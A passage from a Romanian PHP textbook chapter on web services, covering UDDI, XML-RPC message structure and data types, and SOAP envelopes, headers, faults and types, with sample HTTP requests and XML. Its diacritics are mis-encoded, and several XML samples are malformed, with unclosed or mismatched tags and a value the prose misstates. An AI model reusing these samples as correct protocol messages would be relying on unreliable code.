UDDI (Universal Description, Discovery, and Integration). Acest standard oferã utiliza-
torilor o modalitate sistematicã ºi unitarã de a gãsi furnizorii serviciilor Web prin
intermediul unui registru centralizat al acestora. Specificaþiile UDDI (ajunse la versiunea 3)
pot fi gãsite la adresa http://uddi.org/pubs/uddi-v3.0.1-20031014.htm.
Mecanismul de apelare (invocare) a serviciilor Web ºi de schimb al mesajelor între
client ºi server este descris de un protocol de comunicare. Acesta este independent de
platformã, limbaj de programare, reþea sau protocol de transport. Ca exemple, menþionãm
XML-RPC (XML-Remote Procedure Call) ºi SOAP (Simple Object Access Protocol).
Deºi nu este un standard oficial W3C, protocolul XML-RPC este larg utilizat. În
raport cu SOAP, marele avantaj al acestui protocol este simplitatea sa. XML-RPC este
implementat în PHP, precum ºi în alte limbaje de programare (Java, Perl, Tcl etc.).
Protocolul XML-RPC, proiectat pentru a fi cât mai simplu, realizeazã apeluri de
proceduri la distanþã, permiþând transmiterea unor date predefinite. Protocolul
SOAP urmãreºte sã umple golurile lãsate de XML-RPC, oferind un mecanism
complex de reprezentare a datelor schimbate. Spre deosebire de XML-RPC, care permite
PHP ªI SERVICIILE WEB 151

utilizarea numai a datelor predefinite, SOAP prevede posibilitatea ca programatorul sã


defineascã noi tipuri de date. Trebuie menþionat cã o cerere SOAP poate fi transformatã
într-o cerere XML-RPC folosind tehnologia XSLT.
În concluzie, tehnologiile care stau la baza serviciilor Web sunt (vezi ºi figura 7.1):
• un sistem pentru înregistrarea ºi gãsirea serviciilor Web (UDDI);
• o modalitate de descriere standardizatã a serviciilor Web (WSDL);
• un protocol de comunicare între serviciile Web ºi clienþi (XML-RPC ºi SOAP).

Tehnologii care stau


la baza serviciilor Web

Figura 7.1. Servicii Web

Datele sunt schimbate între client ºi serviciu prin intermediul unui protocol de
transport; în mod obiºnuit, acesta este HTTP. Se obþine, astfel, o stivã de protocoale ºi
limbaje utilizatã de serviciile Web (vezi figura 7.2).

Stiva de protocoale ºi limbaje


utilizatã de serviciile Web

Figura 7.2. SOAP este parte a stivei utilizate de serviciile Web

Iatã ºi un exemplu concret de serviciu Web: la adresa http://www.xignite.com/


xCurrencies.asmx gãsiþi un serviciu pentru conversia monedelor naþionale. La adresa
http://www.xignite.com/xCurrencies.asmx?WSDL gãsiþi fiºierul WSDL utilizat de acest
serviciu. Puteþi gãsi un client demo pentru acest serviciu la adresa http://www.xignite.com/
xCurrencies.asmx?op=xDemo.
Firmele mari au implementat ºi ele servicii Web: Google (http:www.google.com),
magazinul electronic Amazon (www.amazon.com) etc.
152 PROGRAMAREA ÎN PHP

La adresa http://www.xmethods.net gãsiþi o listã de servicii Web publice foarte utile,


precum ºi implementãri ale unor clienþi (scriºi în diverse limbaje de programare) care
acceseazã o parte dintre aceste servicii.
La adresa http://www.mindreef.net gãsiþi o aplicaþie (Mindreef SOAPscope) pentru
diagnosticarea serviciilor Web.

Standardul UDDI
Standardul UDDI a fost publicat în septembrie 2000, la el contribuind firmele Ariba,
IBM ºi Microsoft. În momentul actual, suportul pentru aceastã tehnologie s-a extins,
implicând o comunitate foarte mare de firme. Proiectul UDDI menþine un registru public
de afaceri (cu servicii incluse) accesibil online, denumit UBR (UDDI Business Registry),
care a intrat în funcþiune pe data de 2 mai 2001. Acesta conþine, de fapt, câþiva regiºtri
replicaþi gãzduiþi de firme numite operatori UDDI sau operatori de regiºtri.
Standardul UDDI, ajuns la versiunea 3.0 (http://www.oasis-open.org/committees/
uddi-spec/tcspecs.shtml), furnizeazã douã specificaþii ce definesc structura registrului de
servicii ºi operaþiile care se pot efectua:
• o definiþie a informaþiilor care trebuie furnizate despre fiecare serviciu ºi cum trebuie
codificate acestea (set de structuri de date);
• o specificaþie API, care oferã un set de API-uri pentru publicare (înregistrarea
serviciilor) ºi interogare (pentru a gãsi serviciile).
În plus, operatorii de regiºtri furnizeazã fiecare câte o interfaþã-utilizator bazatã pe
pagini Web prin intermediul cãreia pot fi realizate operaþiuni de înregistrare, gestionare
ºi cãutare de servicii Web (e.g., http://uddi.microsoft.com, http://uddi.sap.com,
https://uddi.ibm.com).
UDDI codificã trei tipuri de informaþii despre serviciile Web:
• informaþii de tip „pagini albe”, care includ nume ºi detalii de contact;
• informaþii de tip „pagini galbene”, care oferã o împãrþire a serviciilor bazatã pe tipul
serviciului ºi pe categoria de afaceri;
• informaþii de tip „pagini verzi”, incluzând date tehnice despre serviciu.
Informaþiile oferite în registru permit gãsirea serviciilor Web în funcþie de anumite
carateristici ale acestora. Astfel, în mod obiºnuit, cãutarea serviciilor Web se face în
funcþie de categoria din care fac parte, dupã numele serviciului, dupã furnizor ºi dupã
tipul serviciului. În limbajul UDDI, tipurile de servicii sunt numite tModel. Fiecare
tModel este caracterizat printr-un nume, o descriere ºi un identificator unic (tModelKey).
Un registru UDDI conþine date despre un ansamblu de servicii Web, fiind actualizat
automat la oricare schimbare sau adãugare de noi servicii. Registrele UDDI pot fi
publice sau private. Datele UDDI sunt gãzduite de noduri UBR (ale unor companii),
care au obligaþia de a le menþine în conformitate cu specificaþiile precizate de consorþiul
UDDI.org (http://uddi.org/specification.html). Firme ca Microsoft ºi IBM întreþin
regiºtri publici, conform specificaþiilor UDDI. La adresa http://www.uddi.org/register.html
puteþi gãsi legãturi cãtre regiºtrii menþionaþi. Mai multe noduri se pot organiza într-un
nor UDDI, toate nodurile având aceleaºi înregistrãri. Unui operator de nod UBR i se
cere sã replice datele celorlalte noduri prin utilizarea unui canal securizat, furnizând o
PHP ªI SERVICIILE WEB 153

redundanþã întregului ansamblu de noduri care gãzduiesc servicii Web înregistrate.


Rezultã cã, dacã un furnizor înregistreazã un serviciu Web într-un nod, dupã replicare,
utilizatorii pot descoperi acest serviciu ºi în celelalte noduri componente ale norului
UDDI respectiv.
SQLData System (http://www.soapclient.com/UDDISearch.html) oferã un UDDI
browser, care dã utilizatorilor posibilitatea de a cãuta servicii Web alegând un
operator (e.g., IBM ºi Microsoft) ºi categoria din care fac parte serviciile cãutate.
Pentru a obþine informaþii suplimentare privind UDDI, vizitaþi http://www.uddi.org.

Protocolul XML-RPC
Conceptul RPC (Remote Procedure Call) este des întâlnit în dezvoltarea de software. El
se referã la utilizarea de cãtre o aplicaþie a unor proceduri (scrise, eventual, în alte
limbaje de programare) incluse în programe aflate la distanþã (i.e., pe un calculator,
diferit de cel pe care se executã aplicaþia). Acest mecanism permite unor aplicaþii
executate pe platforme diferite (e.g., Windows ºi Linux) sã comunice între ele. Programul
care apeleazã o procedurã aflatã la distanþã se numeºte client RPC. Serverul RPC cere
execuþia procedurilor ºi trimite clientului rezultatele generate.
XML-RPC este o specificaþie ºi un set de implementãri care permit software-ului
ce ruleazã pe diverse platforme ºi în medii eterogene sã efectueze apeluri de
proceduri prin Internet (e.g., o funcþie Perl poate face un apel cãtre o metodã PHP).
Acest standard utilizeazã protocolul HTTP pentru transportul mesajelor ºi formatul
XML pentru codificarea datelor schimbate.
Un mesaj XML-RPC este o cerere HTTP-POST, respectiv un rãspuns HTTP. O
conversaþie dintre douã sisteme (numite client XML-RPC ºi server XML-RPC) începe
cu cererea clientului ºi se terminã cu rãspunsul serverului.
Un mesaj XML-RPC este alcãtuit din antet ºi corp. Antetul unui mesaj conþine
anteturi HTTP. Corpul unui mesaj este scris în format XML. Corpul cererii conþine
numele unei metode (proceduri) care va fi executatã pe server ºi parametrii necesari
acesteia. Corpul rãspunsului include parametrii (sau datele) întorºi în urma execuþiei
metodei.
În continuare este prezentat un exemplu care conþine o cerere XML-RPC (în care
puteþi remarca antetul ºi corpul acesteia):
POST /RPC HTTP/1.0
User-Agent: PHP/5.0.4
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 275

<?xml version=”1.0”?>
<methodCall>    
<methodName>my_method</methodName>
  <params>
    <param>
154 PROGRAMAREA ÎN PHP

<value><string>parametru</string></value>
</param>
  </params>
</methodCall>
Dupã cum se poate constata, în prima linie a cererii este inclus un URI ( /RPC, în
exemplul anterior). Acesta poate fi un singur slash (/ ) dacã serverul trateazã numai
cereri XML-RPC. În alte cazuri (ca în exemplul anterior), URI-ul ruteazã cererea cãtre
directorul în care sunt stocate scripturile ce executã serviciile Web. Dupã cum se poate
observa, trebuie specificate urmãtoarele anteturi HTTP: User-Agent (valoarea lui
precizeazã clientul Web care a lansat cererea), Host (valoarea sa este adresa IP a
calculatorului care a trimis cererea), Content-Type (valoarea acestui câmp este text/
xml , care aratã cã datele transmise sunt în format XML) ºi Content-Length.
Corpul cererii este o structurã XML, incluzând un element <methodCall>. Acesta
trebuie sã includã un element-copil, <methodName>. Nodul-text care urmeazã este un
ºir ce precizeazã numele metodei apelate ºi trebuie sã conþinã numai caractere
alfanumerice, liniuþa de subliniere ºi caracterele punct, douã puncte ºi slash. Interpretarea
ºirului este lãsatã pe seama serverului. Acest ºir poate fi, de exemplu, numele unui fiºier
care conþine un script ce va fi executat în urma trimiterii unei cereri XML-RPC sau calea
cãtre un astfel de fiºier.
În cazul în care se transmit parametri cãtre procedurã, <methodCall> trebuie sã
includã un element-copil numit <params>. Acesta va include oricâte elemente <param>,
fiecare cu câte un element-copil <value> . Elementele <value> precizeazã datele
transmise de la client la server. Ca ºi toate celelalte lucruri în XML, datele sunt
reprezentate textual, utilizând marcaje-container, ºi pot fi scalare (sau primitive) ºi
complexe (array ºi struct).
Tipurile de date scalare XML-RPC sunt:
• întreg cu semn pe patru octeþi (tipul este reprezentat ca <i4> sau <int>); exemple:
<i4>56</i4> , <int>-123</int>;
• boolean (acest tip este reprezentat ca <boolean>), având douã valori posibile: 0
(false) ºi 1 (true); exemplu: <boolean>1</boolean>;
• ºir de caractere (reprezentat ca <string>); exemplu: <string>Albert
Einstein</string>;
• numãr cu semn în virgulã flotantã cu dublã precizie (tipul este reprezentat ca
<double>); exemplu: <double>5.6789</double>;
• timp ºi/sau datã (acest tip este reprezentat ca <dateTime.iso8601>); exemplu:
<dateTime.iso8601>20050818T16:38:54</dateTime.iso8601> ;
• secvenþã binarã codificatã cu base64 (reprezentatã ca <base64> ); exemplu:
<base64>PK4LBLJQQhSRUpVjdoXPk8D0sQ8EGHsdeTFC</base64>.
Datele de tipul timp/datã sunt reprezentate conform ISO 8601, care este un standard
internaþional pentru specificarea datei ºi a timpului. Conform acestui standard, data este
reprezentatã ca YYYY-MM-DD (e.g., 2005-08-18). Liniuþele pot fi omise, astfel încât se
poate utiliza ºi reprezentarea YYYYMMDD (e.g., 20050818). Dacã nu intereseazã ziua, se
poate utiliza reprezentarea YYYY-MM (e.g., 2005-08 ). Se poate reprezenta chiar ºi
numai anul, ca YYYY (e.g., 2005). Notaþia 00:00 (ºi nu 24:00) este preferatã pentru a
reprezenta miezul nopþii.
PHP ªI SERVICIILE WEB 155

Conform ISO 8601, timpul este reprezentat ca hh:mm:ss (e.g., 21:45:23). Poate fi
omis caracterul douã puncte (colon), utilizându-se reprezentarea hhmmss (e.g., 214523).
Pot fi omise secundele (e.g., 21-45 sau 2145) sau chiar ºi minutele (e.g., 21). Dacã
data ºi timpul sunt reprezentate simultan, trebuie precizatã mai întâi data ºi apoi timpul,
separate prin majuscula T (e.g., 20050818T21:45:23). Puteþi gãsi informaþii supli-
mentare despre standardul ISO 8601 la adresa http://www.cl.cam.ac.uk/~mgk25/
iso-time.html.
Un element <struct> poate conþine un numãr oarecare de elemente <member>,
fiecare dintre acestea incluzând un element <name> ºi unul <value>. Iatã un exemplu
de datã de tip struct:
<struct>
<member>
<name>Mircea</name>
<value><i4>21</i4></value>
</member>
<member>
<name>Dorina</name>
<value><i4>36</i4></value>
</member>
</struct>
Structurile pot fi recursive, astfel încât oricare <value> poate conþine o datã struct
sau de un alt tip, inclusiv array.
Un tablou (<array>) conþine un singur element <data>, care poate include oricâte
elemente <value>. Iatã un exemplu de parametru <array>:
<array>
<data>
<value><string>Albert</string></value>
<value><string>Einstein</string></value>
<value><i4>1921</i4></value>
</data>
</array>
Elementele <array> nu trebuie sã aibã nume. Tablourile pot fi recursive, oricare
<value> poate conþine o datã array sau de oricare alt tip, inclusiv struct.
În continuare, este prezentat rãspunsul serverului:
HTTP/1.1 200 OK
Date: Tue, 16 Aug 2005 14:43:14 GMT
Server: Apache/2.0.52 (Win 32) PHP/5.0.4
X-Powered-By: PHP/5.0.4
Content-Length: 154
Connection: close
Content-Type: text/xml
<?xml version=”1.0”?>
<methodResponse>
 <params>
156 PROGRAMAREA ÎN PHP

   <param>
     <value><int>1234</int></value>
   </param>
 </params>
</methodResponse>
În cazul în care nu existã o eroare la nivel inferior, serverul întoarce codul de stare
200 OK. Dupã cum se poate constata, antetul Content-Type al rãspunsului are valoarea
text/xml (adicã rãspunsul este în format XML). Antetul Content-Length trebuie sã
fie prezent ºi corect.
Corpul rãspunsului constã dintr-o singurã structurã XML. Aceasta este un element
<methodResponse> , care poate conþine un singur element <params> (ce conþine un
singur element <param>, care, la rândul lui, conþine un singur element <value>) sau
un singur element <fault> (prin care se returneazã clientului un mesaj de eroare în
cazul în care apelul serviciului Web respectiv a eºuat; acesta conþine un element
<value>, de tip struct, cu douã elemente, unul numit <faultCode> , de tip int, ºi altul
numit <faultString> , de tip string). Elementele <params> ºi <fault> nu pot fi
prezente simultan.
OntoSys (http://ontosys.com/) a introdus un tip de date suplimentar; acesta este nil,
reprezentat ca <nil/>. Folosindu-l, poate fi precizatã orice valoare diferitã de null. Iatã
un exemplu de utilizare:
<struct>
<member>
<name>varsta_minima</name>
<value><int>18</int></value>
</member>
<member>
<name>varsta_maxima</name>
<value><nil/></value>
</member>
</struct>
În exemplul anterior este creat un element <struct>, cu douã elemente, care
reprezintã un domeniu. Valoarea lowerBound este un element <int>, iar valoarea
upperBound este un element <nil/>, ceea ce înseamnã cã nu existã o limitã superioarã.
Limitãrile protocolului XML-RPC sunt reprezentate de:
• dificultatea de a transmite un obiect ca argument procedurii care va fi apelatã la distanþã;
• utilizarea exclusivã a unor tipuri de date predefinite;
• datele de tip struct ºi array sunt anonime, ceea ce face greoaie identificarea acestora,
mai ales atunci când este transmis un numãr mare de date având tipurile menþionate.

Protocolul SOAP
În acord cu W3C, SOAP (http://www.w3.org/TR/soap) este un protocol simplu, realizat
pentru schimbul de informaþii structurate (mesaje) într-un mediu distribuit. SOAP este o
metodã de comunicare în Internet, folosind XML ca limbaj pentru alcãtuirea mesajelor
PHP ªI SERVICIILE WEB 157

ºi HTTP ca protocol de transport al acestora. Astfel, SOAP este independent de platforma


sau limbajul utilizate. Alternativele la SOAP sunt reprezentate de: XML-RPC (prede-
cesorul lui SOAP), XMLP (XML Protocol, adicã SOAP v2), ebXML (Electronic Business
using Extensible Markup Language), JAXM (Java API for XML Messaging) ºi JAXP
(Java API for XML Processing).
Protocolul SOAP a fost creat de Microsoft ºi dezvoltat în colaborare cu Developmentor,
IBM, Lotus ºi UserLand. SOAP (dezvoltat astãzi de W3C în versiunea 1.2,
www.w3.org/2000/xp/Group) este un protocol bazat pe XML alcãtuit din trei pãrþi: un
plic (SOAP envelope) care defineºte cadrul de lucru pentru descrierea a ceea ce conþine
un mesaj ºi cum trebuie procesat acesta, un set de reguli de codificare (SOAP encoding
rules) pentru a exprima instanþe ale tipurilor de date definite de aplicaþie ºi o convenþie
pentru reprezentarea apelurilor de proceduri la distanþã (SOAP RPC representation).
Trebuie menþionat cã protocolul SOAP oferã posibilitatea expedierii de mesaje cu
ataºamente.
SOAP a fost proiectat pentru a lucra cu HTTP, SMTP ºi alte câteva protocoale
native Internet. În mod obiºnuit, pentru transportul mesajelor, SOAP foloseºte
HTTP (pentru a sublinia acest lucru, se utilizeazã urmãtoarea egalitate simbolicã:
SOAP = HTTP + XML).
Deci, SOAP este:
• un standard W3C;
• un protocol utilizat pentru comunicarea între aplicaþii;
• un format pentru trimiterea mesajelor, bazat pe XML, independent de platformã ºi de
limbajul de programare.
Existã un numãr relativ mare de instrumente SOAP dedicate. Iatã câteva dintre acestea:
• Apache Axis (http://www.apache.org/axis), cu versiunile Axis, a treia generaþie a
Apache SOAP (http://www.apache.org/axis/java/index.html), scris în Java ºi Axis
C++ (http://www.apache.org/axis/cpp/index.html);
• SOAP:Lite, pentru Perl (http://www.soaplite.com);
• Microsoft.NET, pentru limbajele suportate de platforma .NET (http://msdn.
microsoft.com).
De asemenea, la adresa http://www.soapware.org pot fi gãsite instrumente SOAP pentru
cele mai utilizate medii de programare (Java, C/C++, C#, Delphi, PHP, Python etc.).
Un mesaj SOAP de la client cãtre server este inclus într-o cerere HTTP (HTTP
Request). Rezultatul se numeºte cerere SOAP. Aceasta poate sã fie o cerere HTTP POST
sau o cerere HTTP GET. O cerere HTTP POST trebuie sã specifice cel puþin câmpurile
Content-Type ºi Content-Length. Un mesaj SOAP de la server la client este inclus
într-un rãspuns HTTP (HTTP Response). Rezultatul se numeºte rãspuns SOAP. Atât
cererea, cât ºi rãspunsul SOAP conþin fiecare câte un antet ºi câte un corp.
Câmpul Content-Type al cererii ºi rãspunsului SOAP defineºte tipul MIME al mesajului
ºi (opþional) codificarea utilizatã pentru corpul acestora. Câmpul Content-Length specificã
lungimea (în bytes) a corpului cererii ºi rãspunsului SOAP.
Antetul unei cereri SOAP 1.2 poate începe cu secvenþa:
POST /soap HTTP/1.1
Host: 127.0.0.1
158 PROGRAMAREA ÎN PHP

Content-Type: text/xml; charset=”utf-8”


Content-Length: 275
În exemplul prezentat, protocolul utilizat pentru transportul mesajelor este HTTP. În
acest caz, metoda utilizatã trebuie sã fie POST, iar câmpul Content-Type trebuie sã fie
setat la valoarea text/xml. Câmpul Content-Length trebuie sã fie prezent ºi corect.
Singurul câmp suplimentar SOAP este SOAPAction:
SOAPAction: ”http://127.0.0.1/soap”
Acest câmp este adãugat special pentru firewall-uri ºi alte componente ale infra-
structurii de reþea, care detecteazã prezenþa unei cereri SOAP, fiind util pentru filtrare ºi
rutare.
Corpul unei cereri sau al unui rãspuns (mesaj SOAP) este un document XML ºi
constã dintr-un plic (reprezentat prin env:Envelope, elementul-rãdãcinã al mesajului)
care împacheteazã mesajul. Plicul include un antet (SOAP Header) opþional, reprezentat
prin elementul env:Header ºi un corp (SOAP Body) obligatoriu, reprezentat prin
elementul env:Body (vezi figura 7.3).
Corpul poate conþine un element opþional env:Fault, în cazul în care au survenit
erori în cursul procesãrii cererii. Plicul conþine metadate importante pentru înþelegerea
mesajului, inclusiv posibile specificaþii pentru reguli de codificare proprii a unor tipuri
de date.

Un mesaj SOAP este alcãtuit dintr-un


plic SOAP, care conþine un antet SOAP
opþional ºi un corp SOAP obligatoriu.

Figura 7.3. Mesaj SOAP

Structura plicului SOAP este urmãtoarea:


<env:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<!-- antet SOAP
corp SOAP -->
</env:Envelope>
PHP ªI SERVICIILE WEB 159

Plicul SOAP (reprezentat de elementul env:Envelope ) ºi elementele componente


ale acestuia (env:Header, env:Body ºi env:Fault) sunt declarate în spaþiul de nume
http://www.w3.org/2003/05/soap-envelope (numit ºi spaþiu de nume de împachetare).
Dupã cum se poate constata, plicul specificã, prin intermediul atributului
env:encodingStyle , spaþiul de nume http://www.w3.org/2003/05/soap-encoding
utilizat pentru codificarea corpului mesajului (message body). Aceasta este o metod㠖
propusã chiar în specificaþiile SOAP – cunoscutã sub numele de serializare SOAP. Alte
stiluri de codificare includ WDDX (Web Distributed Data Exchange), XML-RPC (XML
Remote Procedure Call), RDF (Resource Description Framework) sau o structurã XML
propusã de programator.
Antetul SOAP (reprezentat prin elementul env:Header) conþine informaþii importante
pentru modul în care va fi procesat mesajul (acestea pot fi: date despre expeditor, date
despre destinatar, date de autentificare ºi autorizare a transmisiei etc.). Specificaþia
SOAP cere ca anteturile incluse în env:Header sã fie elemente XML valide, neadãugând
alte restricþii. Dacã elementul env:Header este prezent, acesta trebuie sã fie primul
copil al elementului env:Envelope. Antetul SOAP poate conþine mai multe intrãri
Header (fiecare fiind reprezentatã de câte un element-copil). Iatã un exemplu (cu o
singurã intrare):
<env:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<env:Header>
<m:reservation
xmlns:t=”http://airlines.example.com/reservation”
env:mustUnderstand=”true”>
<m:id>123456789</m:id>
<m:dateTime>2005-12-30T21:45:00<m:dateTime>
</m:reservation>
</env:Header>
<env:Body>
<-- Corpul propriu-zis -->
</env:Body>
</env:Envelope>

Exemplul anterior conþine un element env:Header cu un element reservation ,


care are un atribut env:mustUnderstand (cu valoarea true) ºi valoarea 321 .
Specificaþia SOAP defineºte urmãtoarele trei atribute în spaþiul de nume implicit
(http://www.w3.org/2003/05/soap-envelope): env:actor , env:mustUnderstand ºi
env:encodingStyle. În continuare, vom oferi explicaþii despre rolul primelor douã
atribute.
Un mesaj SOAP poate cãlãtori de la expeditor (sender) la destinatar (receiver) prin
diverse puncte finale (endpoints) intermediare. Nu toate pãrþile mesajului sunt destinate
ultimului punct final (receiver), dar pot fi destinate unuia sau mai multor puncte de pe
„traseu”, numit ºi cale de mesaje SOAP (SOAP message path). Atributul env:actor
160 PROGRAMAREA ÎN PHP

poate fi utilizat pentru a adresa un element-copil al elementului env:Header, prin


intermediul URL-ului acestuia.
Atributul env:mustUnderstand este utilizat pentru a indica dacã o intrare Header
este obligatorie sau opþionalã în cursul procesãrii. Dacã se adãugã atributul
env:mustUnderstand=”true” unui element-copil al elementului env:Header, acesta
indicã destinatarului cã în cursul procesãrii antetului trebuie sã recunoascã elementul-copil
respectiv (adicã sã ºtie sã îl proceseze). Dacã destinatarul nu îl recunoaºte, procesarea va
eºua. În acest caz, el trebuie sã trimitã un mesaj de eroare.
Corpul SOAP conþine datele mesajului (messsage body) în subelemente numite intrãri
Body (reprezentate prin elemente-copil). Aceste date sunt destinate punctului final
(receiver) situat pe calea de mesaje SOAP. Pentru fiecare element-copil al elementului
env:Body trebuie sã se precizeze în mod obligatoriu un spaþiu de nume. SOAP defineºte
în spaþiul de nume implicit (http://www.w3.org/2003/05/soap-envelope) un singur
element inclus în elementul env:Body. Acesta este env:Fault , fiind utilizat pentru a
indica mesajele de eroare. Iatã un exemplu:
<env:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<env:Body>
<m:GetPrice xmlns:m=”http://example.com/prices”
<m:Item>Mere</m:Item>
</m:GetPrice>
</env:Body>
</env:Envelope>

În exemplul anterior, se cere serviciului Web preþul merelor. Este de remarcat cã


elementele GetPrice ºi Item sunt specifice aplicaþiei, ºi nu standardului SOAP! Iatã
cum poate arãta mesajul SOAP de rãspuns:
<env:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<env:Body>
<m:GetPriceResponse xmlns:m=”http://example.com/prices”
<m:Price>3</m:Price>
</m:GetPrice>
</env:Body>
</env:Envelope>

Informaþiile de eroare dintr-un mesaj SOAP de rãspuns sunt incluse în elementul


env:Fault . Dacã acest element este prezent, atunci trebuie sã fie poziþionat ca un
element-copil al elementului env:Body. Un element env:Fault poate sã aibã o singurã
apariþie într-un mesaj SOAP. Elementul env:Fault are urmãtoarele subelemente:
PHP ªI SERVICIILE WEB 161

• faultCode (un cod utilizat pentru identificarea erorii);


• faultstring (o explicaþie a erorii destinatã utilizatorilor umani);
• faultactor (o explicaþie despre cine a cauzat eroarea);
• detail (conþine informaþii de eroare specifice aplicaþiei, ataºate elementului Body).
Valorile posibile ale elementului faultCode sunt urmãtoarele:
• VersionMismatch (a fost gãsit un spaþiu de nume invalid pentru elementul Envelope);
• MustUnderstand (un element-copil al elementului Header , având atributul
mustUnderstand egal cu TRUE, nu a fost recunoscut);
• Client (mesajul a fost formatat incorect sau conþine informaþii incorecte);
• Server (a apãrut o problemã pe server, astfel încât mesajul nu poate fi procesat).
În continuare, este prezentat un exemplu de cerere SOAP 1.2 completã (adicã sunt
prezentate antetul HTTP ºi mesajul SOAP) cu douã intrãri Body, care apeleazã procedura
GetStudentGrade (aceasta implementeazã un serviciu Web ce întoarce mediile studen-
þilor la obiectele din planul de învãþãmânt), transmiþându-i doi parametri (numele
studentului ºi obiectul pentru care se doreºte sã se afle media acestuia):
POST /soap HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml; charset=”utf-8”
Content-Length: 275
SOAPAction: ”127.0.0.1/soap”
<?xml version=”1.0”?>
<env:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<env:Body>
<m:GetStudentGrade xmlns:m=”http://example.edu/grade”>
<StudentName xsi:type=”xsd:string”>Popescu</StudentName>
<Subject xsi:type=”xsd:string”>Matematica</Subject>
</m:GetStudentGrade>
</env:Body>
</env:Envelope>
În exemplul anterior, m este spaþiul de nume care referã tipurile de documente XML
specificate de ofertantul serviciului Web. Rãspunsul serverului SOAP poate fi similar cu
urmãtorul (se remarcã antetul HTTP ºi corpul HTTP):
HTTP/1.1 200 OK
Date: Sun, 21 Aug 2005 15:23:40 GMT
Content-Length: 623
Connection: close
Content-Type: text/xml; charset=ISO-8859-1

<?xml version=”1.0” encoding=”ISO-8859-1”?>


<env:Envelope
162 PROGRAMAREA ÎN PHP

xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
env:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<env:Body>
<m:GetStudentGradeResponse xmlns:m=”http://example.org/
grade”>
<return xsi:type=”xsd:string”>10</return>
</m:GetStudentGradeResponse>
</env:Body>
</env:Envelope>

În SOAP 1.1, cererea este similarã cu:


POST /soap HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml; charset=”utf-8”
Content-Length: 275
SOAPAction: http://127.0.0.1/soap
<?xml version=”1.0”?>
< SOAP-ENV:Envelope
xmlns: SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<SOAP-ENV:Body>
<m:GetStudentGrade xmlns:m=”http://example.edu/grade”>
<StudentName xsi:type=”xsd:string”>Popescu</StudentName>
<Subject xsi:type=”xsd:string”>Matematica</Subject>
</m:GetStudentGrade>
</SOAP:ENV:Body>
</ SOAP-ENV:Envelope>

iar rãspunsul este similar cu:


HTTP/1.1 200 OK
Date: Sun, 21 Aug 2005 15:23:40 GMT
Content-Length: 623
Connection: close
Content-Type: text/xml; charset=ISO-8859-1

<?xml version=”1.0” encoding=”ISO-8859-1”?>


<SOAP-ENV:Envelope
xmlns:env=”http://www.w3.org/2003/05/soap-envelope”
SOAP-ENV:encodingStyle=”http://www.w3.org/2003/05/soap-encoding”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
PHP ªI SERVICIILE WEB 163

<SOAP-ENV:Body>
<m:GetStudentGradeResponse xmlns:m=”http://example.org/grade”>
<return xsi:type=”xsd:string”>10</return>
</m:GetStudentGradeResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Datele utilizate de SOAP pot avea urmãtoarele tipuri:


• tipuri simple; SOAP a adoptat toate tipurile simple din XML Schema (http://
www.w3.org/TR/xmlschema-2).
SOAP a adoptat ºi tipul de date descris ca enumeration în XML Schema. În continuare,
este prezentat un exemplu de definire ºi utilizare a tipurilor de date SOAP (fragment
de schemã ºi instanþele corespunzãtoare ale datelor), în care se utilizeazã tipul
enumeration:
<element name=”varsta” type=”int”/>
<element name=”inaltime” type=”float”/>
<element name=”culoare_ochi”>
  <simpleType base=”xsd:string”>
    <enumeration value=”verde”/>
    <enumeration value=”albastru”/>
  </simpleType>
</element>
<varsta>36</varsta>
<inaltime>1.70</inaltime>
<culoare_ochi>verde</culoare_ochi> 

• tipuri compuse:
o struct: o structurã este o datã compusã în care numele membrilor este singura
distincþie dintre aceºtia, un membru neputând avea acelaºi nume ca ºi un altul;
o array: tablourile SOAP sunt definite ca având tipul SOAP-ENC:array, fiind
reprezentate numai valorile elementelor, fãrã numele acestora.
Iatã un exemplu de definire ºi utilizare a tipului de date struct în SOAP:
<element name=”carte”>
<complexType>
<element name=”autor” type=”xsd:string”/>
<element name=”titlu” type=”xsd:string”/.
<element name=”editura” type=”xsd:string”/>
</complexType>
</element>

<e:carte>
<autor>Sabin Buraga</autor>
<titlu>Proiectarea siturilor Web<titlu>
<editura>Polirom</editura>
</e:carte>
164 PROGRAMAREA ÎN PHP

În continuare, este prezentat un exemplu de definire ºi utilizare a tablourilor în


SOAP:
<element name=”nume_favorite” type=”SOAP-ENC:Array”/>

<nume_favorite SOAP-ENC:arrayType=”xsd:string[2]”>
   <nume>Dorina</nume>
   <nume>Maria</nume>
</nume_favorite>
